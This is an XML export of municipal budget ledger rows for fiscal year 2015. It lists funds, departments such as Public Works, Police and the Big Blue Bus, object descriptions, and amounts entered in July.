<row _id="18114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>280800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>280800</total></row>
<row _id="18115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1308</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1308</total></row>
<row _id="18116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405452.0</object><object_description>HBP- FHWA CAL INCLINE CONSTRUC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-9000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9000000</total></row>
<row _id="18117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404330.0</object><object_description>KEN EDWARDS CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-27000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-27000</total></row>
<row _id="18118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407180.0</object><object_description>VALET LICENSING FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-102000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-102000</total></row>
<row _id="18119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408230.0</object><object_description>MIDTOWN PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-225000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-225000</total></row>
<row _id="18120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410050.0</object><object_description>SCE OBF INCTV</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522560.0</object><object_description>DOWNTOWN ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="18122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="18123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29992</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29992</total></row>
<row _id="18124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407692.0</object><object_description>TAXI VEHICLE PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-22176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22176</total></row>
<row _id="18125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402010.0</object><object_description>SM PIER - RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-3077068</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3077068</total></row>
<row _id="18126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402020.0</object><object_description>SM PIER - PARKING LOTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1486144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1486144</total></row>
<row _id="18127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>405170.0</object><object_description>CAM FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-418523</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-418523</total></row>
<row _id="18128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>76242</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76242</total></row>
<row _id="18129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3502</total></row>
<row _id="18130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>113642</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>113642</total></row>
<row _id="18131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-20244</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20244</total></row>
<row _id="18132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1769</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1769</total></row>
<row _id="18133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>485875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>485875</total></row>
<row _id="18134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>195764</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>195764</total></row>
<row _id="18136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>578391.0</object><object_description>BIKE VALET - PROP A  LOCAL RET</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="18137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408580.0</object><object_description>ALARM REGISTRATION FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-151200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-151200</total></row>
<row _id="18138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9206</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9206</total></row>
<row _id="18139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406101.0</object><object_description>STRATEGIC PREVENTION FRAME- ST</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-27947</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-27947</total></row>
<row _id="18140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3000</total></row>
<row _id="18141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578851.0</object><object_description>BULLETPROOF VEST GRANT - 2014</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>280</total></row>
<row _id="18143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>157000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>157000</total></row>
<row _id="18146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>409310.0</object><object_description>AUTO PARK PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12000</total></row>
<row _id="18147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579012.0</object><object_description>DISCRET-VIRGINIA AVE PROJECT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577830.0</object><object_description>WATER CONSERVATION REBATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4658000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4658000</total></row>
<row _id="18149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>544301.0</object><object_description>SAFETY SOFTWARE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="18150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4500</total></row>
<row _id="18151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>409240.0</object><object_description>HISTORICAL PRESERVATION</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20000</total></row>
<row _id="18152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1300</total></row>
<row _id="18153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-35242</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-35242</total></row>
<row _id="18154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409043.0</object><object_description>ELEM SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-54613</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-54613</total></row>
<row _id="18155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-19650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19650</total></row>
<row _id="18156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>566620.0</object><object_description>FIRE PREVENTION EDUCATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>409250.0</object><object_description>VERIZON STORE LICENSE AGREEMNT</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1020</total></row>
<row _id="18158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1300</total></row>
<row _id="18159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579963.0</object><object_description>BBB-GEN FUND REIMB-FIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-261702</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-261702</total></row>
<row _id="18160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>915</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>915</total></row>
<row _id="18161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>104</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104</total></row>
<row _id="18162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>819</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>819</total></row>
